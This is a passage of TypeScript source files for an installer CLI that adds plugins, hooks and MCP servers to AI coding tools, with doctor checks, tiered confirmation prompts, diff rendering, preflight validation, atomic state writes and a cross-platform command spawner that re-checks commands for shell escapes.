ONLY when genuinely behind the published version; 'pass' when\n// current, ahead (local dev), or when npm is unreachable (fail-soft — a missing\n// network is not a health failure and must not flip the doctor summary). The\n// version fetcher is injectable for testing.\n\nimport pkg from '../../../package.json' with { type: 'json' }\nimport type { CheckResult } from './check-builtin.js'\nimport { compareVersions, fetchLatestVersion } from './version-check.js'\n\nexport async function checkUpdate(\n  installed: string = pkg.version,\n  fetch: () => Promise<string | null> = fetchLatestVersion,\n): Promise<CheckResult> {\n  const latest = await fetch()\n  if (!latest) {\n    return { name: 'update', status: 'pass', message: 'update check skipped (npm unreachable)' }\n  }\n  if (compareVersions(installed, latest) === 'behind') {\n    return {\n      name: 'update',\n      status: 'warn',\n      message: `update available: ${installed} → ${latest}`,\n      fix: 'run `harnessed update`',\n    }\n  }\n  return { name: 'update', status: 'pass', message: `up to date (${installed})` }\n}\n","// v3.7.0 Phase 1 — Doctor check registry. Single source of truth for the\n// preflight check list, dispatched by src/cli/doctor.ts.\n//\n// Adding a new check:\n//   1. Create `src/cli/lib/check-<name>.ts` exporting `Promise<CheckResult>` fn\n//   2. Append to CHECKS array below\n//   3. Update tests/cli/doctor.test.ts CHECKS.length assertion\n//\n// Ordering preserved per doctor.test.ts cell-1+4+5 expectations. Built-in\n// checks (sync `checkNodeVersion` / `checkJq` / `checkWinBash`) are wrapped\n// with `Promise.resolve()` to keep dispatch uniform (Promise.all over the\n// whole array). All other checks are already async per delegate pattern.\n\nimport {\n  type CheckResult,\n  checkJq,\n  checkMcpScope,\n  checkNodeVersion,\n  checkWinBash,\n} from './check-builtin.js'\n\nexport type { CheckResult } from './check-builtin.js'\n\nexport type CheckFn = () => Promise<CheckResult>\n\n/** All preflight checks, ordered for human-readable doctor output. */\nexport const CHECKS: readonly CheckFn[] = [\n  async () => checkNodeVersion(),\n  checkMcpScope,\n  async () => checkJq(),\n  async () => checkWinBash(),\n  async () => {\n    const { checkOrigin } = await import('./origin-check.js')\n    const r = checkOrigin(process.cwd(), { allowFork: true })\n    return { name: 'origin URL', status: r.status, message: r.detail, fix: r.fix }\n  },\n  async () => {\n    const { probeGstackPrefix } = await import('./probe-gstack.js')\n    const r = probeGstackPrefix()\n    return { name: 'gstack prefix', status: r.status, message: r.detail, fix: r.fix }\n  },\n  async () => (await import('./check-deprecations.js')).checkDeprecations(),\n  async () => (await import('./check-token-budget.js')).checkTokenBudget(),\n  async () => (await import('./check-agent-teams-doctor.js')).checkAgentTeamsDoctor(),\n  async () => (await import('./check-planning-with-files.js')).checkPlanningWithFiles(),\n  async () => (await import('./check-mattpocock-skills.js')).checkMattpocockSkills(),\n  async () => (await import('./check-mcp-availability.js')).checkMcpAvailability(),\n  // Phase 18 — opt-in CodeGraph semantic-index detect (always 'pass'; absence of an\n  // optional tool is not a health failure).\n  async () => (await import('./check-codegraph.js')).checkCodeGraph(process.cwd()),\n  // Phase 20 — \"update available\" version check ('warn' only when behind; 'pass'\n  // when current/ahead/npm-unreachable — fail-soft, never flips the summary).\n  async () => (await import('./check-update.js')).checkUpdate(),\n]\n","// Phase 1.2 4-level confirm wrapper per ADR 0004 contract 4 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / GA-2 § B.3): every Clack prompt call MUST be guarded\n// with `p.isCancel(ans)` immediately after await — otherwise Ctrl-C / ESC\n// silently returns a Symbol() value that flows downstream as a truthy\n// non-boolean and corrupts the install decision (terkelg/prompts has the\n// same footgun; Clack v0.10 inherited it but exposes isCancel guard).\n//\n// IMPL NOTE (ADR 0004 contract 4): four risk levels map to four prompt\n// shapes:\n//   L1 (read-only / project-scope safe write) → just `note()` print, auto-yes\n//   L2 (project-scope mutation, e.g. .mcp.json append) → single `confirm()`\n//   L3 (user-scope mutation, e.g. ~/.claude.json) → confirm() × 2 — second\n//      message MUST mention shared-state side effects on other plugins\n//   L4 (system-wide / global npm install) → require explicit `--system`\n//      flag at CLI; if missing, refuse without prompt + print educational\n//      \"use --system to opt in\" hint (no L4 manifest may auto-apply)\n//\n// nonInteractive mode (CI / scripts): skip all prompts; honor ctx.opts.apply\n// for L1/L2/L3 (apply=true → proceed; apply=false → dry-run yields proceed:\n// true so caller computes plan but does not execute), while L4 still\n// requires --system (security flag, not a UX decision).\n\nimport * as p from '@clack/prompts'\nimport type { InstallContext, Level } from './types.js'\n\nexport type ConfirmReason = 'user-cancel' | 'flag-missing'\n\nexport interface ConfirmOutcome {\n  proceed: boolean\n  reason?: ConfirmReason\n}\n\nexport async function confirmAt(level: Level, ctx: InstallContext): Promise<ConfirmOutcome> {\n  // L4 — system flag gate, runs first (must short-circuit before any prompt).\n  if (level === 'L4' && !ctx.opts.system) {\n    if (!ctx.opts.nonInteractive) {\n      p.note(\n        'this method requires --system flag (e.g. global npm install affects machine PATH); pass --system to opt in.',\n        'L4 system-wide install',\n      )\n    }\n    return { proceed: false, reason: 'flag-missing' }\n  }\n\n  // Non-interactive: skip prompts, decide from --apply.\n  if (ctx.opts.nonInteractive) {\n    return { proceed: ctx.opts.apply }\n  }\n\n  if (level === 'L1') {\n    p.note('will write project-local files only (safe scope).', 'L1 confirm')\n    return { proceed: true }\n  }\n\n  if (level === 'L2') {\n    const ans = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n    if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n    return { proceed: ans === true }\n  }\n\n  if (level === 'L3') {\n    const first = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n    if (p.isCancel(first)) return { proceed: false, reason: 'user-cancel' }\n    if (first !== true) return { proceed: false }\n\n    const second = await p.confirm({\n      // v4.14.0 — wording generalized: the shared user-scope config is\n      // ~/.claude.json on claude, ~/.codex/config.toml on codex.\n      message:\n        'This affects other plugins (the harness user-scope config is shared state). Confirm again?',\n      initialValue: false,\n    })\n    if (p.isCancel(second)) return { proceed: false, reason: 'user-cancel' }\n    return { proceed: second === true }\n  }\n\n  // L4 with --system flag → single high-stakes confirm.\n  const ans = await p.confirm({\n    message: 'System-wide install will modify global PATH. Proceed?',\n    initialValue: false,\n  })\n  if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n  return { proceed: ans === true }\n}\n","// Phase 1.2 unified-diff renderer per ADR 0004 contract 2 + Pattern B + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): jsdiff createPatch() is invoked with\n// `stripTrailingCr: true` so a Windows manifest written with CRLF and a Unix\n// target file with LF (or vice versa) produces a *stable* diff — not a\n// 100%-noise \"every line changed\" diff. The trailing CR character (\\r) at\n// end-of-line is normalised away from both sides before line comparison.\n//\n// IMPL NOTE (Rule 1 / nodejs/node#39673 + GA-2 § B.1): we color via\n// picocolors.isColorSupported (NOT process.stdout.isTTY directly). On\n// Windows under Git-Bash, isTTY returns `undefined` instead of `true|false`,\n// which would silently disable color for a real interactive shell. picocolors\n// already combines isTTY ?? false || env.FORCE_COLOR / NO_COLOR / TERM=dumb\n// into one boolean — trust it.\n\nimport { createPatch } from 'diff'\nimport pc from 'picocolors'\nimport type { DiffFile, DiffPlan, InstallContext } from './types.js'\n\n// ADR 0004 § 2 — long diffs are folded by default to keep terminal scrollback\n// reasonable; user passes --full-diff to expand.\nconst FOLD_THRESHOLD = 200\nconst FOLD_HEAD = 100\n\nfunction colorize(line: string): string {\n  if (!pc.isColorSupported) return line\n  if (line.startsWith('+') && !line.startsWith('+++')) return pc.green(line)\n  if (line.startsWith('-') && !line.startsWith('---')) return pc.red(line)\n  if (line.startsWith('@@')) return pc.cyan(line)\n  return line\n}\n\nfunction diffOneFile(file: DiffFile): { lines: string[]; added: number; removed: number } {\n  const patch = createPatch(file.target, file.oldText, file.newText, '', '', {\n    stripTrailingCr: true,\n  })\n  const lines = patch.split('\\n')\n  let added = 0\n  let removed = 0\n  for (const ln of lines) {\n    if (ln.startsWith('+') && !ln.startsWith('+++')) added++\n    else if (ln.startsWith('-') && !ln.startsWith('---')) removed++\n  }\n  return { lines, added, removed }\n}\n\nexport function renderDiff(plan: DiffPlan, ctx: InstallContext): string {\n  if (plan.files.length === 0) return '(no file changes)\\n'\n\n  const out: string[] = []\n  let totalAdded = 0\n  let totalRemoved = 0\n\n  for (const file of plan.files) {\n    const { lines, added, removed } = diffOneFile(file)\n    totalAdded += added\n    totalRemoved += removed\n\n    const folded = !ctx.opts.fullDiff && lines.length > FOLD_THRESHOLD\n    const visible = folded ? lines.slice(0, FOLD_HEAD) : lines\n    for (const ln of visible) out.push(colorize(ln))\n    if (folded) {\n      const more = lines.length - FOLD_HEAD\n      out.push(pc.dim(`... ${more} more lines (use --full-diff to expand)`))\n    }\n  }\n\n  // ADR 0004 § 2 summary line — appended at the bottom so user always sees it.\n  const summary = `will modify ${plan.files.length} file${plan.files.length === 1 ? '' : 's'} (${totalAdded} added, ${totalRemoved} removed)`\n  out.push('')\n  out.push(pc.bold(summary))\n\n  return `${out.join('\\n')}\\n`\n}\n","// Phase 5.1 W0 T0.3 — extract err() helper (#BG MED carry-forward 4-phase discharge).\n// Identical 3-line function existed in 7 installer files:\n//   ccHookAdd.ts L18 + ccPluginMarketplace.ts L40 + gitCloneWithSetup.ts L43\n//   mcpHttpAdd.ts L38 + mcpStdioAdd.ts L31 + npmCli.ts L35 + npxSkillInstaller.ts L49\n// Extracted here to eliminate 7-way duplication.\n\nimport type { InstallContext, InstallError } from './types.js'\n\nexport function err(\n  ctx: InstallContext,\n  path: string,\n  message: string,\n  keyword: string,\n): InstallError {\n  return { file: ctx.manifest.metadata.name, path, message, line: null, column: null, keyword }\n}\n","// Phase 1.2 first-gate preflight per ADR 0004 contract 1 + Pattern D + C.\n//\n// Why preflight is its own file (not folded into spawn.ts):\n//   We want the user to see \"platform mismatch\" / \"missing idempotent_check\"\n//   *before* a spawn error fires with a stack trace. spawn.ts is a hot path\n//   that should assume invariants already hold; preflight is the cold path\n//   that validates those invariants once per install run, in the same spirit\n//   as src/manifest/security.ts being separate from validate.ts.\n//\n// Surgical path-walking (Pattern D): we do NOT recursively traverse the\n// manifest AST — every check below targets a hard-coded path. If a future\n// schema field needs preflight enforcement, add a clause here, not a generic\n// walker (karpathy YAGNI; matches manifest/security.ts cmdPaths style).\n//\n// Out of scope (deferred to later phases):\n//   - `git ls-remote <repo> <git_ref>` real-network probe → phase 2.1\n//     (slow + offline-CI-hostile; preflight is a synchronous fast gate)\n//   - npm registry reachability probe → phase 2.4 doctor\n//   - Network MTU / proxy configuration → out of phase 1.2 scope\n\nimport type { InstallContext, InstallError } from './types.js'\n\nconst SUPPORTED_PLATFORMS = ['linux', 'darwin', 'win32'] as const\ntype SupportedPlatform = (typeof SUPPORTED_PLATFORMS)[number]\n\n// Subset of cc-plugin-marketplace + git-clone-with-setup git_ref shape; matches\n// the schema regex in src/manifest/schema/installMethods/ccPluginMarketplace.ts.\n// Sanity grep only — schema already enforced this if validate.ts ran.\nconst GIT_REF_SHAPE = /^([a-f0-9]{7,40}|v?\\d+\\.\\d+\\.\\d+([.-][\\w.-]+)?)$/\n\nexport interface PreflightOutcome {\n  ok: boolean\n  errors: InstallError[]\n  // Set when ok=false AND a hard-stop reason applies (caller should yield an\n  // `aborted` InstallResult instead of a plain `ok:false`).\n  abortReason?: 'platform-mismatch'\n}\n\nexport function preflight(ctx: InstallContext): PreflightOutcome {\n  const errors: InstallError[] = []\n  const filename = ctx.manifest.metadata.name\n  const spec = ctx.manifest.spec\n  const install = spec.install\n\n  // 1. Platform whitelist. SUPPORTED_PLATFORMS is the harnessed v0.1\n  // surface; any platforms[] entry outside it is a manifest error caught by\n  // schema, but we double-check for robustness.\n  const current = process.platform as SupportedPlatform\n  if (!spec.platforms.includes(current)) {\n    errors.push({\n      file: filename,\n      path: '/spec/platforms',\n      message: `current platform '${current}' not in supported list [${spec.platforms.join(', ')}]; manifest declares it does not run here.`,\n      line: null,\n      column: null,\n      keyword: 'platform-mismatch',\n      suggest: `add '${current}' to spec.platforms in upstream manifest if the installer is known to work there`,\n    })\n    return { ok: false, errors, abortReason: 'platform-mismatch' }\n  }\n\n  // 2. git_ref shape sanity (only methods that have it).\n  if ('git_ref' in install && typeof install.git_ref === 'string') {\n    if (!GIT_REF_SHAPE.test(install.git_ref)) {\n      errors.push({\n        file: filename,\n        path: '/spec/install/git_ref',\n        message: `git_ref '${install.git_ref}' does not match SHA(7-40 hex) or SemVer shape; schema should have caught this — preflight backstop.`,\n        line: null,\n        column: null,\n        keyword: 'git-ref-shape',\n        suggest:\n          'pin to a SHA (40 hex) or SemVer tag (e.g. v1.2.3); branch names like main/HEAD are forbidden',\n      })\n    }\n  }\n\n  // 3. idempotent_check non-empty string (all 6 install methods declare it\n  // required in schema, but this guards against a programmatically-built\n  // manifest that bypassed validate.ts).\n  if (\n    typeof install.idempotent_check !== 'string' ||\n    install.idempotent_check.trim().length === 0\n  ) {\n    errors.push({\n      file: filename,\n      path: '/spec/install/idempotent_check',\n      message:\n        'idempotent_check missing or empty; ADR 0004 contract 1 requires a check command for re-install detection',\n      line: null,\n      column: null,\n      keyword: 'idempotent-check-missing',\n      suggest:\n        'add a shell cmd that exits 0 iff the package is already installed (e.g. `npm ls -g <pkg>`)',\n    })\n  }\n\n  return { ok: errors.length === 0, errors }\n}\n","// Phase 1.2 .harnessed/state.json SSOT per ADR 0004 contract 6 + D1.2-7.\n//\n// Tracks \"what is currently installed\" across reboots / shells:\n//   - schema version (so future migrations are explicit)\n//   - per-install record: version + ISO timestamp + manifest sha1\n//\n// karpathy YAGNI (D1.2-7): we do NOT pre-reserve audit.log / current-workflow\n// / checkpoints fields here — those are added when their owner phases ship\n// (audit log = phase 1.4 routing-engine, checkpoints = phase 3.1 ralph-loop\n// integration). The state.json schema therefore lives behind a version field\n// so future phases can bump it without touching this file.\n//\n// Plain TS interface (NOT TypeBox) — state.json is read/written by harnessed\n// itself, never by user manifests; we don't need Ajv runtime validation.\n//\n// IMPL NOTE (Rule 1 / concurrent-write hazard): writeState() uses the atomic\n// write-then-rename idiom (write to `.tmp` sibling + `fs.rename`). Two\n// `harnessed install` processes running concurrently in the same project\n// will see one another's tmp file but only one rename wins, so the final\n// state.json is always either the pre- or the post-state — never a half-\n// written truncation. This matches how npm/yarn/git index updates work.\n//\n// Pattern C: readState returns a default object on ENOENT (first install in\n// a fresh project) — we never throw on missing state.json; absence is the\n// expected initial condition.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { harnessedFile } from './harnessedRoot.js'\n\nexport interface HarnessedStateEntry {\n  version: string\n  installedAt: string // ISO-8601 timestamp\n  manifestSha1: string // sha1 of the manifest yaml that produced this install\n}\n\nexport interface HarnessedState {\n  version: '1' // schema version of THIS file format; bump on incompatible change\n  installed: Record<string, HarnessedStateEntry>\n}\n\nconst DEFAULT_STATE: HarnessedState = { version: '1', installed: {} }\n\n// v3.0.3 hotfix — state.json path now homedir-rooted (sister `getBackupRoot()`\n// v2.0.1 + `getHarnessedRoot()` v3.0.3). Pre-v3.0.3 used `<cwd>/.harnessed/`\n// which EPERMs when the user launches harnessed from a read-only directory\n// (Warp default `C:\\Program Files\\Warp\\`). The `cwd` parameter is now ignored\n// for path composition (signature kept for backward-compat with callers like\n// `cli/status.ts` and `npmCli.ts` that still pass `ctx.cwd` or `process.cwd()`).\nfunction statePath(_cwd: string): string {\n  return harnessedFile('state.json')\n}\n\nexport async function readState(cwd: string): Promise<HarnessedState> {\n  const path = statePath(cwd)\n  let raw: string\n  try {\n    raw = await readFile(path, 'utf8')\n  } catch (err) {\n    // ENOENT — first install in a fresh project; return default schema.\n    if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n      return { ...DEFAULT_STATE, installed: {} }\n    }\n    throw err\n  }\n  // Malformed JSON / wrong schema version is recoverable: log and return\n  // default; we choose data loss over crash because state.json is not\n  // primary truth (manifests + .harnessed-backup are). Caller may add a\n  // doctor warning if installed map is empty but backups exist.\n  try {\n    const parsed = JSON.parse(raw) as HarnessedState\n    if (parsed.version !== '1' || typeof parsed.installed !== 'object') {\n      return { ...DEFAULT_STATE, installed: {} }\n    }\n    return parsed\n  } catch {\n    return { ...DEFAULT_STATE, installed: {} }\n  }\n}\n\nexport async function writeState(cwd: string, state: HarnessedState): Promise<void> {\n  const path = statePath(cwd)\n  const tmp = `${path}.tmp`\n  await mkdir(dirname(path), { recursive: true })\n  // Trailing newline keeps state.json POSIX-friendly + diff-friendly.\n  await writeFile(tmp, `${JSON.stringify(state, null, 2)}\\n`, 'utf8')\n  await rename(tmp, path)\n}\n\n/**\n * Read-modify-write helper for the common case: record a successful install.\n * Adds or replaces `installed[name]` and persists atomically.\n */\nexport async function updateInstalled(\n  cwd: string,\n  name: string,\n  version: string,\n  manifestSha1: string,\n): Promise<void> {\n  const state = await readState(cwd)\n  state.installed[name] = {\n    version,\n    installedAt: new Date().toISOString(),\n    manifestSha1,\n  }\n  await writeState(cwd, state)\n}\n","// Phase 2.4 W3 T3.1 — install method 7/7: cc-hook-add (D-04 § 3.1 + R2.4.4 +\n// B-20/B-21/B-22). Sister: npxSkillInstaller (L2 HOME write, real-path verify).\n// L3 tier (~/.claude/settings.json is shared user-scope state — sister mcp-stdio).\n// Deep-merges settings.hooks[event][] (NEVER overwrite). Idempotent on duplicate\n// (matching command+matcher → skip with appliedFiles:[]). R7 verify: re-read +\n// .some() grep (writeFile exit ≠ filesystem truth — sister npx-skill-installer C6).\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { getSettingsPath } from './lib/platform.js'\nimport { preflight } from './lib/preflight.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\ninterface Settings {\n  hooks?: Record<string, { matcher?: string; command: string }[]>\n  [k: string]: unknown\n}\n\nexport const installCcHookAdd: Installer = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'cc-hook-add') {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/spec/install/method',\n        `dispatch bug: ${install.method}`,\n        'dispatch-mismatch',\n      ),\n    }\n  }\n  const pre = preflight(ctx)\n  if (!pre.ok) {\n    if (pre.abortReason === 'platform-mismatch')\n      return { aborted: true, reason: 'platform-mismatch' }\n    const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed', 'preflight')\n    return { ok: false, phase: 'preflight', error: e }\n  }\n\n  const settingsPath = getSettingsPath()\n  // Sentinel `null` ⇒ file does not exist (oldText='' so backup() emits pure-create).\n  let existing: string | null\n  try {\n    existing = await readFile(settingsPath, 'utf8')\n  } catch {\n    existing = null\n  }\n  let settings: Settings\n  try {\n    settings = JSON.parse(existing ?? '{}') as Settings\n  } catch (e) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/',\n        `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n        'settings-json-malformed',\n      ),\n    }\n  }\n  settings.hooks = settings.hooks ?? {}\n  const ev = install.hook_event\n  const matcher = install.hook_matcher\n  const cmd = install.hook_command\n  settings.hooks[ev] = settings.hooks[ev] ?? []\n  if (settings.hooks[ev].some((h) => h.command === cmd && h.matcher === matcher)) {\n    return { ok: true, backupId: 'idempotent-skip', appliedFiles: [] }\n  }\n  settings.hooks[ev].push({ matcher, command: cmd })\n  const newText = `${JSON.stringify(settings, null, 2)}\\n`\n  const plan: DiffPlan = {\n    files: [{ target: settingsPath, scope: 'HOME', oldText: existing ?? '', newText }],\n  }\n  if (!ctx.opts.quiet) process.stdout.write(renderDiff(plan, ctx))\n\n  const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n  if (!conf.proceed) {\n    const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n    return { aborted: true, reason }\n  }\n  if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n  const bk = await backup(plan, ctx)\n  if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n  await writeFile(settingsPath, newText)\n\n  // R7 — re-read + grep cmd presence; ENOENT/malformed post-write ⇒ verify-failed.\n  let verify: Settings\n  try {\n    verify = JSON.parse(await readFile(settingsPath, 'utf8')) as Settings\n  } catch (e) {\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/hook_command',\n        `verify re-read fail: ${(e as Error).message.slice(0, 200)}`,\n        'verify-failed',\n      ),\n    }\n  }\n  if (!verify.hooks?.[ev]?.some((h) => h.command === cmd)) {\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/hook_command',\n        `hook '${cmd.slice(0, 80)}' missing in hooks.${ev}[] after write`,\n        'verify-failed',\n      ),\n    }\n  }\n\n  await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, '', '')\n  return { ok: true, backupId: bk.backupId, appliedFiles: [settingsPath] }\n}\n","// Phase 1.2 cross-OS spawn wrapper per ADR 0004 contract 6 + Pattern D + H.\n//\n// IMPL NOTE (Rule 1 / R03 § 3.7): Windows uses `cmd.exe /c <cmd> <args...>`\n// because npm/npx/claude shipped as .cmd shims under Win, and POSIX-style\n// `/bin/sh -c` is unavailable on raw Win (only inside Git-Bash/WSL). Unix\n// uses `/bin/sh -c \"<cmd> <joined-args>\"` so single-string cmds with pipes /\n// redirections still work consistently with what users typed in the manifest.\n//\n// IMPL NOTE (Rule 1 / B1 hotfix defense-in-depth, PATTERNS Pattern D pre-pass):\n// re-run `checkCmdString()` on the cmd right before spawn(). The phase 1.1.1\n// security gate in `validate.ts` already screens manifests, but a future\n// caller (phase 1.4 routing-engine / test harnesses / direct installer use\n// without validate.ts) might hand us an unvalidated cmd. Refuse to spawn\n// shell-escape patterns even at this layer — InstallResult `phase: 'preflight'`\n// + keyword `'security'` returned, never thrown.\n//\n// Pattern C: returns Result-shaped object {ok:true|false} — no throws on\n// expected paths (timeout, non-zero exit, security gate). Unexpected errors\n// (e.g. cmd binary not found / EACCES) bubble out as throws — the caller\n// (installer dispatch) catches and wraps.\n//\n// v3.0.2 hotfix (Windows cold-install timeout): npm-cli installers running\n// `npx --yes <pkg>@<ver> install` need >15s on Windows cold cache (user\n// reported gsd install timing out at 10s/15s). spawnCmd now accepts an\n// explicit `timeoutMs` arg from the caller — installers pass 60_000ms for\n// the install step; verify continues to honor spec.verify.timeout_ms (default\n// 15s) so manifest authors retain control. The pre-v3.0.2 bug: install spawn\n// was reading verify.timeout_ms (cross-purpose; verify-only field) which\n// shortened install timeout to whatever manifest authors set for verify.\n\nimport { type ChildProcess, spawn } from 'node:child_process'\nimport { homedir } from 'node:os'\nimport { checkCmdString } from '../../manifest/security.js'\nimport type { InstallContext, InstallResult } from './types.js'\n\n/** v3.9.8 — pre-expand `~/` to OS home dir before passing cmd to cmd.exe.\n *  Windows cmd.exe does NOT expand `~` as POSIX shells do, causing\n *  `mkdir ~/.claude/skills/.cache/X` to fail with \"could not create leading\n *  directories\" (frontend-design dogfood failure). POSIX /bin/sh expands\n *  `~` natively — this helper is win32-only.\n *  Uses forward slashes in the replaced home path (Windows tools accept both). */\nfunction expandTildeForWindows(cmd: string): string {\n  const home = homedir().replace(/\\\\/g, '/')\n  // Match `~/` only at start of string OR after whitespace / shell-quote /\n  // glob-safe boundary chars — avoid replacing `something~/x`.\n  return cmd.replace(/(^|[\\s\"'`(])~\\//g, `$1${home}/`)\n}\n\nexport const DEFAULT_VERIFY_TIMEOUT_MS = 15_000\n/** v3.0.2: explicit install-step timeout — Windows cold npm/npx cache can\n *  exceed 30-45s on first install.\n *  Patch 4.10.1: raised 120s → 300s. Real dogfood showed `npx skills add`\n *  (playwright-test / mattpocock-skills) + cold `git clone` exceeding 120s on a\n *  warm-but-not-cached machine, surfacing as spurious spawn-timeout failures in\n *  force-update. comet allots npx skills installers 300s; we match that ceiling\n *  so legitimate cold pulls finish instead of being killed mid-fetch. */\nexport const DEFAULT_INSTALL_TIMEOUT_MS = 300_000\n\nexport interface SpawnOk {\n  ok: true\n  exitCode: number\n  stdout: string\n  stderr: string\n}\n\n/**\n * Spawn `cmd args...` under the platform's default shell with B1 defense-\n * in-depth, env injection, cwd from manifest, and timeout.\n *\n * v3.0.2: `timeoutMs` is now an explicit caller-supplied arg. Pre-v3.0.2\n * read `spec.verify.timeout_ms` for BOTH install and verify spawns — a bug\n * because verify.timeout_ms is verify-only (e.g. gsd manifest sets 10000ms\n * for fast `--version` verify, but install needs >30s on Windows cold cache).\n * Callers now pass the timeout explicitly: installers use\n * DEFAULT_INSTALL_TIMEOUT_MS (60s), verify callers pass\n * `verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS` (15s).\n *\n * Returns:\n *   - `SpawnOk` on completion (any exit code; caller decides if non-zero\n *     means failure based on context — install vs verify vs idempotent_check)\n *   - `InstallResult` failure shape on security gate / timeout\n */\nexport async function spawnCmd(\n  ctx: InstallContext,\n  cmd: string,\n  args: string[],\n  timeoutMs?: number,\n  opts?: { posixShell?: boolean },\n): Promise<SpawnOk | InstallResult> {\n  // 1. B1 defense-in-depth — re-check the literal cmd string for shell escapes.\n  const violation = checkCmdString(cmd)\n  if (violation) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: {\n        file: ctx.manifest.metadata.name,\n        path: '/spec/install/cmd',\n        message: `shell escape detected at spawn boundary: '${violation.label}' (${violation.hint}) — refusing to execute. v0.1 forbids dynamic shell evaluation; this is a defense-in-depth gate after schema validation.`,\n        line: null,\n        column: null,\n        keyword: 'security-gate-bypass',\n      },\n    }\n  }\n\n  // 2. Platform branch — Win cmd.exe vs POSIX /bin/sh.\n  const installCfg = ctx.manifest.spec.install\n  // v3.0.2: timeoutMs MUST be explicit (back-compat: undefined → 60s install default).\n  const effectiveTimeoutMs = timeoutMs ?? DEFAULT_INSTALL_TIMEOUT_MS\n  const env = { ...process.env, ...(installCfg.env ?? {}) }\n  const cwd = installCfg.cwd ?? ctx.cwd\n\n  let child: ChildProcess\n  // v23 (4.5.1) — POSIX-shell cmds (git-clone-with-setup install + all verify cmds\n  // use rm/cp/test/grep/| which cmd.exe can't run) route through Git Bash on Windows.\n  // bash expands `~` natively (no pre-expand). npm/npx/claude/mcp install cmds keep\n  // cmd.exe (they are .cmd shims). `triedBash` lets the error handler emit a clear\n  // \"Git Bash required\" message on ENOENT.\n  let triedBash = false\n  // v4.13.0 — stdin CLOSED ('ignore'): install/verify cmds must be non-interactive.\n  // With the default 'pipe' stdin (open, never fed), an upstream CLI that decides\n  // to prompt (e.g. `npx skills add` confirmation) blocks forever and surfaces as\n  // a 300s spawn-timeout (user dogfood: mattpocock-skills / design-taste-frontend).\n  // Closed stdin makes prompt-happy CLIs fail fast or take their non-TTY default.\n  const stdio: ['ignore', 'pipe', 'pipe'] = ['ignore', 'pipe', 'pipe']\n  if (process.platform === 'win32') {\n    if (opts?.posixShell) {\n      const joined = args.length > 0 ? `${cmd} ${args.join(' ')}` : cmd\n      triedBash = true\n      child = spawn('bash', ['-c', joined], { cwd, env, windowsHide: true, stdio })\n    } else {\n      // v3.9.8 — expand `~/` because cmd.exe doesn't (POSIX-only convention).\n      const expandedCmd = expandTildeForWindows(cmd)\n      const expandedArgs = args.map(expandTildeForWindows)\n      child = spawn('cmd.exe', ['/c', expandedCmd, ...expandedArgs], {\n        cwd,\n        env,\n        windowsHide: true,\n        stdio,\n      })\n    }\n  } else {\n    const joined = args.length > 0 ? `${cmd} ${args.join(' ')}` : cmd\n    child = spawn('/bin/sh', ['-c', joined], { cwd, env, stdio })\n  }\n\n  // 3. Collect stdout/stderr + race against timeout.\n  let stdout = ''\n  let stderr = ''\n  child.stdout?.setEncoding('utf8').on('data', (chunk: string) => {\n    stdout += chunk\n  })\n  child.stderr?.setEncoding('utf8').on('data', (chunk: string) => {\n    stderr += chunk\n  })\n\n  return await new Promise<SpawnOk | InstallResult>((resolve) => {\n    const timer = setTimeout(() => {\n      child.kill('SIGKILL')\n      resolve({\n        ok: false,\n        phase: 'spawn',\n        error: {\n          file: ctx.manifest.metadata.name,\n          path: '/spec/install/cmd',\n          message: `spawn timed out after ${effectiveTimeoutMs}ms (cmd: ${cmd}); partial stderr: ${stderr.slice(0, 200)}`,\n          line: null,\n          column: null,\n          keyword: 'spawn-timeout',\n        },\n      })\n    }, effectiveTimeoutMs)\n\n    child.on('error', (err) => {\n      clearTimeout(timer)\n      const bashMissing = triedBash && (err as NodeJS.ErrnoException).code === 'ENOENT'\n      resolve({\n        ok: false,\n        phase: 'spawn',\n        error: {\n          file: ctx.manifest.metadata.name,\n          path: '/spec/install/cmd',\n          message: bashMissing\n            ? 'Git Bash is required for this component on Windows, but `bash` was not found on PATH. Install Git for Windows (https://git-scm.com/download/win) and re-run `harnessed setup`.'\n            : `spawn failed: ${err.message}`,\n          line: null,\n          column: null,\n          keyword: bashMissing ? 'bash-missing' : 'spawn-error',\n        },\n      })\n    })\n\n    child.on('close', (code) => {\n      clearTimeout(timer)\n      resolve({ ok: true, exitCode: code ?? -1, stdout, stderr })\n    })\n  })\n}\n","// v3.9.6 — Shared idempotent_check helper for non-MCP installers.\n//\n// Background: each manifest declares `spec.install.idempotent_check` (shell\n// command, e.g. `test -d ~/.claude/skills/gsd`). Before v3.9.6 only mcpStdioAdd\n// honored idempotency (via stderr \"already exists\" string match); npmCli /\n// npxSkillInstaller / gitCloneWithSetup / ccPluginMarketplace ran their install\n// commands unconditionally — so `harnessed setup` reported \"installed\" every\n// time even for already-installed packages (user dogfood: gsd reinstalled\n// every run).\n//\n// v3.9.9 — native detection per install method (Windows 